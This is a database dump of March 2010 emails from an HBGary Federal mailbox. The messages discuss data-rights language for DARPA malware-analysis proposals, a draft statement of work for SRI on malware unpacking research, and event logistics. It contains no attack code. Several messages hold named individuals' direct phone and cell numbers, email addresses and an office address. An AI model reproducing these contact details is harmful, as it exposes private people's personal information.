&nbsp;I think we are getting closer to getting it right so IP is protected and we don\'t lessen our chances to win. &nbsp;What does restricted data rights mean?Aaron&nbsp;On Mar 15, 2010, at 10:44 AM, Bob Slapnik wrote:Penny and Aaron,&nbsp;I’ve had a couple of conversations with Dave Metzger, attorney with lots of gov’t contract knowledge.&nbsp; Attached is the data rights doc he wrote.&nbsp; I asked him to write it so we could insert it directly into the proposal. &nbsp;I want feedback from everybody so we can come to a group consensus on the language.&nbsp;Metzger is taking what I consider to be a “middle road”.&nbsp; In this doc we are asserting Restricted Rights for our patents and products, but providing unlimited rights on everything else even though by statue we have the legal basis to assert SBIR Data Rights or could downgrade that to Specially Negotiated Rights.&nbsp;In reading the doc you will see that HBGary may end up NOT delivering any HBGary IP, in such case all data will be unlimited rights.&nbsp; Metzger wrote the doc so that IF we deliver HBGary IP related to patents or products then it would be with restricted rights.&nbsp; Makes sense.&nbsp;&nbsp;Aaron prefers to “punt” on data rights question – not deliver any IP so no need to assert restricted rights – everything is unlimited rights.&nbsp; Then if we find DURING THE CONTRACT that we need to use HBGary IP, we go back and re-negotiate data rights.&nbsp; Aaron’s concern is that asserting restricted rights could reduce our odds of winning. &nbsp;The preference of Metzger and myself is to declare what is ours, state that we may not use it, but if we do it is with restricted rights.&nbsp;&nbsp;Equally important – A big percentage of the new work will be automated malware r/e analysis tools which is clearly an extension of past SBIR work.&nbsp; The assertion of data rights doc as currently written gives the gov’t unlimited rights to this.&nbsp;My view is that DDNA and our current products are the Family Jewels and must be protected.&nbsp; On the other hand, the money we would get from DARPA is gravy that extends our malware analysis (not detection but the knowledge gained would make our detection better).&nbsp;Note:&nbsp; DARPA is only interested in research and prototypes (not products).&nbsp; Even with gov’t getting unlimited rights, HBGary owns the IP.&nbsp; The rule is that we cannot resell the gov’t what they already paid for, but his will not prevent us from selling resulting products back to the gov’t.&nbsp; Why?&nbsp; At best the gov’t will be paying for prototypes – we will be selling them finished commercial software products instead.&nbsp;Thoughts?&nbsp;Bob&nbsp;&lt;Technical Data Rights - from Metzger.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10 03:33:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',13953,'aaron_hbgary_com/13953.html'),(4067,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002158.M610836P3547Q4067.eml','\"Phil Porras\" <porras@csl.sri.com>,vinod@csl.sri.com,\"Phil Porras\" <porras@csl.sri.com>','Reworked SOW','Below is a rework of your SOW. &nbsp;We are putting this in RFP form but I want to discuss this with you prior to sending you the RFP. &nbsp;We are not going to try and reconstitute binaries from memory. &nbsp;I am available until about 12:30 EST and then again after about 2pm EST today.AaronTask1: Specimen Feeds and Pre-processor:-SRI shall develop novel and advanced scalable automated unpacking and de-obfuscation techniques for malware including but not limited to dealing with multiply-packed malware and dynamic code not mapped to process memory. The goal of this research is to cover a large number of packing and de-obfuscation technologies.&nbsp; (Advanced Unpacking and De-obfuscation).	Year 1: research methods for unpacking/de-obfuscation, delivery of research paper at end of period.&nbsp; Year 1: concept prototype&nbsp;	Year 2-3: refine de-obfuscation research and develop a prototype to cover a large number of packing technologies.-SRI will research novel and innovative ideas for the removal of malicious logic and anti-analysis techniques commonly found in malicious binaries. The goal of this research is to identify and neutralize techniques used by malware authors to impede or terminate the reverse engineering and analysis process. SRI will also develop techniques for isolating specific code and data areas of interest for targeted execution and dynamic instrumentation. (Advanced Binary Instrumentation).	Year 1: Survey of anti-analysis techniques&nbsp;	Year 2: Basic prototype and paper	Year 3: Full featured prototype and demo	Year 4: System refinement\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9992,'aaron_hbgary_com/9992.html'),(4068,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002158.M961395P3547Q4068.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Data rights language for DARPA proposals','In order for this to work and not overly lessen our chances to win, on each piece of IP that we are asserting restricted rights we need to state clearly how we might use that technology in the course of the proposal and what rights we are claiming. &nbsp;For example with Responder, we are merely going to use it like we would any other COTS product to aid in analysis to develop traits and genome sequences. &nbsp;We plan to use our experience developing DDNA for malware detection to aid us in understanding complex trait behaviors for the purposes of understanding malwares overall behavior and plan to conduct research on the best approach to define malware behavior. &nbsp;In the event we determine our existing approach developed for our DDNA commercial product is also the right approach for this effort, all new development we offer to the government under unrestricted rights, however the existing framework of DDNA is still covered as HBGary intellectual property and under restricted rights as a commercial product... (whatever is right here I don\'t know the right language but we need to distinguish this, state it clearly and completely.I believe that if we state that the new traits we develop using the governments money are covered under our IP and need to be purchased by the government after development, we will not win. &nbsp;This is why I want to push this down the road until after award. &nbsp;If we develop traits using our methodology, what specifically about those traits does the government have unlimited rights to and what do they have restricted rights to, again we need to be very clear and complete. &nbsp;If it is confusing in any way he will pass because it is just too risky.AaronOn Mar 15, 2010, at 11:43 AM, Bob Slapnik wrote:Restricted Rights means the gov’t can only do with the data what we explicitly allow them to do with it.&nbsp; For example, people can use Responder Pro as per the software license agreement.&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Monday, March 15, 2010 11:10 AMTo:&nbsp;Bob SlapnikCc:&nbsp;\'Penny Leavy\'; \'Ted Vera\'Subject:&nbsp;Re: Data rights language for DARPA proposals&nbsp;OK. &nbsp;I think we are getting closer to getting it right so IP is protected and we don\'t lessen our chances to win. &nbsp;What does restricted data rights mean?Aaron&nbsp;On Mar 15, 2010, at 10:44 AM, Bob Slapnik wrote:Penny and Aaron,&nbsp;I’ve had a couple of conversations with Dave Metzger, attorney with lots of gov’t contract knowledge.&nbsp; Attached is the data rights doc he wrote.&nbsp; I asked him to write it so we could insert it directly into the proposal. &nbsp;I want feedback from everybody so we can come to a group consensus on the language.&nbsp;Metzger is taking what I consider to be a “middle road”.&nbsp; In this doc we are asserting Restricted Rights for our patents and products, but providing unlimited rights on everything else even though by statue we have the legal basis to assert SBIR Data Rights or could downgrade that to Specially Negotiated Rights.&nbsp;In reading the doc you will see that HBGary may end up NOT delivering any HBGary IP, in such case all data will be unlimited rights.&nbsp; Metzger wrote the doc so that IF we deliver HBGary IP related to patents or products then it would be with restricted rights.&nbsp; Makes sense.&nbsp;&nbsp;Aaron prefers to “punt” on data rights question – not deliver any IP so no need to assert restricted rights – everything is unlimited rights.&nbsp; Then if we find DURING THE CONTRACT that we need to use HBGary IP, we go back and re-negotiate data rights.&nbsp; Aaron’s concern is that asserting restricted rights could reduce our odds of winning. &nbsp;The preference of Metzger and myself is to declare what is ours, state that we may not use it, but if we do it is with restricted rights.&nbsp;&nbsp;Equally important – A big percentage of the new work will be automated malware r/e analysis tools which is clearly an extension of past SBIR work.&nbsp; The assertion of data rights doc as currently written gives the gov’t unlimited rights to this.&nbsp;My view is that DDNA and our current products are the Family Jewels and must be protected.&nbsp; On the other hand, the money we would get from DARPA is gravy that extends our malware analysis (not detection but the knowledge gained would make our detection better).&nbsp;Note:&nbsp; DARPA is only interested in research and prototypes (not products).&nbsp; Even with gov’t getting unlimited rights, HBGary owns the IP.&nbsp; The rule is that we cannot resell the gov’t what they already paid for, but his will not prevent us from selling resulting products back to the gov’t.&nbsp; Why?&nbsp; At best the gov’t will be paying for prototypes – we will be selling them finished commercial software products instead.&nbsp;Thoughts?&nbsp;Bob&nbsp;&lt;Technical Data Rights - from Metzger.docx&gt;&nbsp;Aaron BarrCEOHBGary Federal Inc.&nbsp;&nbsp;&nbsp;No virus found in this incoming message.Checked by AVG -&nbsp;www.avg.comVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10 03:33:00\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8743,'aaron_hbgary_com/8743.html'),(4069,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002159.M157102P3547Q4069.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Data rights language for DARPA proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nThe question is really for DDNA Sequence and Fuzzy Hash.&nbsp;\r\nWe can explain that we MIGHT deliver new traits, etc. in the format of DDNA\r\nSequence or Fuzzy Hash.&nbsp; If we do the gov&#8217;t gets unlimited rights to\r\nthe new data, but not the underlying DDNA Sequence or Fuzzy Hash formats.&nbsp;\r\nThey can do whatever they want with the new data.\r\n\r\n&nbsp;\r\n\r\nAs related to the commercial products it would be as per our\r\nstandard software license agreement.&nbsp; We were planning on listing in the\r\nproposal the commercial products used as &#8220;tools&#8221;.&nbsp; Given that\r\ncertain tools come from HBGary, Metzger said we should list it here to remove\r\nall doubt, even though we won&#8217;t be delivering the commercial software.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 15, 2010 11:47 AM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy\'; \'Ted Vera\'\r\nSubject: Re: Data rights language for DARPA proposals\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nOK so we need to define it and put it in the proposal if we\r\nare going to use this language. &nbsp;We don\'t want to leave it open ended.\r\n&nbsp;If we are going to claim restricted rights what are we going to state\r\nthey can do with it.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 15, 2010, at 11:43 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nRestricted Rights means the gov&#8217;t can only do with the\r\ndata what we explicitly allow them to do with it.&nbsp; For example, people can\r\nuse Responder Pro as per the software license agreement.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, March 15,\r\n2010 11:10 AM\r\nTo:&nbsp;Bob Slapnik\r\nCc:&nbsp;\'Penny Leavy\'; \'Ted\r\nVera\'\r\nSubject:&nbsp;Re: Data rights\r\nlanguage for DARPA proposals\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOK. &nbsp;I think we are getting closer to getting it right\r\nso IP is protected and we don\'t lessen our chances to win. &nbsp;What does\r\nrestricted data rights mean?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 15, 2010, at 10:44 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPenny\r\nand Aaron,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI&#8217;ve\r\nhad a couple of conversations with Dave Metzger, attorney with lots of\r\ngov&#8217;t contract knowledge.&nbsp; Attached is the data rights doc he\r\nwrote.&nbsp; I asked him to write it so we could insert it directly into the\r\nproposal. &nbsp;I want feedback from everybody so we can come to a group\r\nconsensus on the language.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMetzger\r\nis taking what I consider to be a &#8220;middle road&#8221;.&nbsp; In this doc\r\nwe are asserting Restricted Rights for our patents and products, but providing\r\nunlimited rights on everything else even though by statue we have the legal\r\nbasis to assert SBIR Data Rights or could downgrade that to Specially\r\nNegotiated Rights.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIn\r\nreading the doc you will see that HBGary may end up NOT delivering any HBGary\r\nIP, in such case all data will be unlimited rights.&nbsp; Metzger wrote the doc\r\nso that IF we deliver HBGary IP related to patents or products then it would be\r\nwith restricted rights.&nbsp; Makes sense.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\nprefers to &#8220;punt&#8221; on data rights question &#8211; not deliver any\r\nIP so no need to assert restricted rights &#8211; everything is unlimited\r\nrights.&nbsp; Then if we find DURING THE CONTRACT that we need to use HBGary\r\nIP, we go back and re-negotiate data rights.&nbsp; Aaron&#8217;s concern is\r\nthat asserting restricted rights could reduce our odds of winning. &nbsp;The preference\r\nof Metzger and myself is to declare what is ours, state that we may not use it,\r\nbut if we do it is with restricted rights.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEqually\r\nimportant &#8211; A big percentage of the new work will be automated malware\r\nr/e analysis tools which is clearly an extension of past SBIR work.&nbsp; The\r\nassertion of data rights doc as currently written gives the gov&#8217;t\r\nunlimited rights to this.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy\r\nview is that DDNA and our current products are the Family Jewels and must be\r\nprotected.&nbsp; On the other hand, the money we would get from DARPA is gravy\r\nthat extends our malware analysis (not detection but the knowledge gained would\r\nmake our detection better).\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNote:&nbsp;\r\nDARPA is only interested in research and prototypes (not products).&nbsp; Even\r\nwith gov&#8217;t getting unlimited rights, HBGary owns the IP.&nbsp; The rule\r\nis that we cannot resell the gov&#8217;t what they already paid for, but his\r\nwill not prevent us from selling resulting products back to the\r\ngov&#8217;t.&nbsp; Why?&nbsp; At best the gov&#8217;t will be paying for\r\nprototypes &#8211; we will be selling them finished commercial software\r\nproducts instead.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThoughts?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBob\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;Technical\r\nData Rights - from Metzger.docx&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10751,'aaron_hbgary_com/10751.html'),(4070,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002159.M380858P3547Q4070.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,','Re: Data rights language for DARPA proposals','ok so to follow the first thread a bit further. &nbsp;In reading that language he is going to want to know what I get if I don\'t get the DDNA sequence and fuzzy hash formats. &nbsp;Do I get something that works, or not? &nbsp;Can I continue to develop new traits or no?Is the answer you get ownership of the traits but you have to buy something in order for them to work?On Mar 15, 2010, at 12:07 PM, Bob Slapnik wrote:quence and Fuzzy Hash.&nbsp; We can explain that we MIGHT deliver new traits, etc. in the format of DDNA Sequence or Fuzzy Hash.&nbsp; If we do the gov’t gets unlimited rights to the new data, but not the underlying DDNA Sequence or Fuzzy Hash formats.&nbsp; They can do whatever they want with the new data.&nbsp;As related to the commercial products it would be as per our standard software license agreement.&nbsp; We were planning on listing in the proposal the commercial products used as “tools”.&nbsp; Given that certain tools come from HBG\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',2713,'aaron_hbgary_com/2713.html'),(4071,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002159.M573246P3547Q4071.eml','\"Aaron Barr\" <adbarr@mac.com>','for Vendors day','877-481-4590 \r\n\r\nsend a visit cert. 703-466-3340.  \r\nand then call 877-481-4590.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15964,'aaron_hbgary_com/15964.html'),(4072,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002159.M778527P3547Q4072.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Are u at the jamboree the next few days?','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11067,'aaron_hbgary_com/11067.html'),(4073,'2010-03-15','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002159.M960442P3547Q4073.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Are u at the jamboree the next few days?','Yeah.  Are you going since you have a badge?  \r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 15, 2010 12:13 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Are u at the jamboree the next few days?\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12224,'aaron_hbgary_com/12224.html'),(4074,'2010-03-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002160.M453361P3547Q4074.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Are u at the jamboree the next few days?','Not sure I might.  I just talked to the LM Security POC and she will get me in after I am briefed at 830 but not sure if I can make it, going to check.  Where is it?  Heritage?\r\n\r\nAaron\r\n\r\nOn Mar 15, 2010, at 12:14 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Yeah.  Are you going since you have a badge?  \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 15, 2010 12:13 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Are u at the jamboree the next few days?\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',7168,'aaron_hbgary_com/7168.html'),(4075,'2010-03-15','\"Phil Porras\" <porras@csl.sri.com>','/aaron@hbgary.com/new/1297002160.M650434P3547Q4075.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Reworked SOW','\r\n\r\nAaron.... I got in to my office at 9am PDT  this morning.&nbsp;&nbsp;\r\n650-859-3232\r\nIf we can\'t talk now, how about 11am PDT/ 2pm EDT.\r\n\r\nAt 08:49 AM 3/15/2010, Aaron Barr wrote:\r\nBelow is a rework of your\r\nSOW.&nbsp; We are putting this in RFP form but I want to discuss this\r\nwith you prior to sending you the RFP.&nbsp; We are not going to try and\r\nreconstitute binaries from memory.&nbsp; I am available until about 12:30\r\nEST and then again after about 2pm EST today.\r\nAaron\r\nTask1: Specimen Feeds and Pre-processor:\r\n-SRI shall develop novel and advanced scalable automated unpacking and\r\nde-obfuscation techniques for malware including but not limited to\r\ndealing with multiply-packed malware and dynamic code not mapped to\r\nprocess memory. The goal of this research is to cover a large number of\r\npacking and de-obfuscation technologies.&nbsp; (Advanced Unpacking and\r\nDe-obfuscation).\r\nYear 1: research methods for unpacking/de-obfuscation, delivery of\r\nresearch paper at end of period.&nbsp; Year 1: concept prototype \r\nYear 2-3: refine de-obfuscation research and develop a prototype to\r\ncover a large number of packing technologies.\r\n\r\n-SRI will research novel and innovative ideas for the removal of\r\nmalicious logic and anti-analysis techniques commonly found in malicious\r\nbinaries. The goal of this research is to identify and neutralize\r\ntechniques used by malware authors to impede or terminate the reverse\r\nengineering and analysis process. SRI will also develop techniques for\r\nisolating specific code and data areas of interest for targeted execution\r\nand dynamic instrumentation. (Advanced Binary Instrumentation).\r\nYear 1: Survey of anti-analysis techniques \r\nYear 2: Basic prototype and paper\r\nYear 3: Full featured prototype and demo\r\nYear 4: System refinement\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n---------------------------------------------------------------------------------\r\n\r\nPhillip A. Porras (porras@csl.sri.com)\r\nProgram Director,&nbsp; SRI International\r\n333 Ravenswood Ave, Menlo Park CA 94025 USA\r\noffice: (650) 859-3232, fax: x2844 \r\n\r\n\r\n',9791,'aaron_hbgary_com/9791.html'),(4076,'2010-03-15','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1297002160.M852695P3547Q4076.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Are u at the jamboree the next few days?','No.  Lockheed DEP II.  We are pretty good friends with the organizer.\r\nWant me to try to make a call or talk to him in the morning?\r\n\r\nBrian Masterson \r\nNorthrop Grumman/Xetron \r\nChief Technology Officer, IO Programs \r\nPh: 513-881-3591 \r\nCell: 513-706-4848 \r\nFax: 513-881-3877 \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, March 15, 2010 12:15 PM\r\nTo: Masterson, Brian (Xetron)\r\nSubject: Re: Are u at the jamboree the next few days?\r\n\r\nNot sure I might.  I just talked to the LM Security POC and she will get\r\nme in after I am briefed at 830 but not sure if I can make it, going to\r\ncheck.  Where is it?  Heritage?\r\n\r\nAaron\r\n\r\nOn Mar 15, 2010, at 12:14 PM, Masterson, Brian (Xetron) wrote:\r\n\r\n> Yeah.  Are you going since you have a badge?  \r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, March 15, 2010 12:13 PM\r\n> To: Masterson, Brian (Xetron)\r\n> Subject: Are u at the jamboree the next few days?\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15820,'aaron_hbgary_com/15820.html'),(4077,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002161.M109448P3547Q4077.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','RE: Data rights language for DARPA proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIt is quite possible that we could build prototypes that DARPA\r\ncan&#8217;t execute. &nbsp;What if we built IDA plug-ins and we just delivered\r\nthe plug-ins?&nbsp; The plug-ins won&#8217;t work unless DARPA uses IDA.&nbsp;\r\nPerfectly acceptable.&nbsp; If the gov&#8217;t wants our delivered prototypes to\r\nwork when run without us, then they will need the underlying software that was\r\nused.&nbsp; We describe it in the proposal by saying we expect to use certain &#8220;commercial\r\nsoftware tools&#8221; for our work.\r\n\r\n&nbsp;\r\n\r\nLet&#8217;s look at a possible scenario.&nbsp; We create a super\r\nnew REcon module for runtime analysis (right now we are saying gov&#8217;t gets\r\nunlimited rights to the new REcon).&nbsp; In addition to harvesting runtime\r\ndata, we image memory and analyze the memory to get more low level data to\r\nassess a malware sample.&nbsp; Of course we are going to use Responder to\r\nanalyze the memory.&nbsp; (It is the best tool available for this purpose, so\r\nwhy wouldn&#8217;t we?)&nbsp; We demo it to the customer using Responder\r\ntherefore we&#8217;ve shown it running with the new data.&nbsp; We deliver the\r\nnew data to DARPA, but we don&#8217;t deliver Responder because they don&#8217;t\r\nhave rights to it.&nbsp; We can choose to give DARPA a Responder license at no\r\nextra charge &#8211; we don&#8217;t have to deliver Responder because DARPA\r\ndidn&#8217;t pay for it.\r\n\r\n&nbsp;\r\n\r\nLikewise, as we assess the malware sample we may choose to\r\nexpress the trait data within HBGary&#8217;s patented formats.&nbsp; We could\r\ndemo the malware assessment using the new traits.&nbsp; We deliver to DARPA the\r\nunderlying research of how we identify the new traits.&nbsp; We might deliver\r\nthe new traits in HBGary&#8217;s patented formats or not\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, March 15, 2010 12:12 PM\r\nTo: Bob Slapnik\r\nCc: \'Penny Leavy\'; \'Ted Vera\'\r\nSubject: Re: Data rights language for DARPA proposals\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nok so to follow the first thread a bit further. &nbsp;In\r\nreading that language he is going to want to know what I get if I don\'t get the\r\nDDNA sequence and fuzzy hash formats. &nbsp;Do I get something that works, or\r\nnot? &nbsp;Can I continue to develop new traits or no?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIs the answer you get ownership of the traits but you have\r\nto buy something in order for them to work?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mar 15, 2010, at 12:07 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nquence and Fuzzy Hash.&nbsp; We can explain that we MIGHT\r\ndeliver new traits, etc. in the format of DDNA Sequence or Fuzzy Hash.&nbsp; If\r\nwe do the gov&#8217;t gets unlimited rights to the new data, but not the\r\nunderlying DDNA Sequence or Fuzzy Hash formats.&nbsp; They can do whatever they\r\nwant with the new data.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAs related to the commercial products it would be as per our\r\nstandard software license agreement.&nbsp; We were planning on listing in the\r\nproposal the commercial products used as &#8220;tools&#8221;.&nbsp; Given that\r\ncertain tools come from HBG\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.733 / Virus Database: 271.1.1/2741 - Release Date: 03/15/10\r\n03:33:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15359,'aaron_hbgary_com/15359.html'),(4078,'2010-03-15','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002161.M354752P3547Q4078.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>','RE: Data rights language for DARPA proposals','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nYour first paragraph below makes good sense and seems accurate\r\nto me.\r\n\r\n&nbsp;\r\n\r\nOur plan has been that Gov&#8217;t gets unlimited rights to 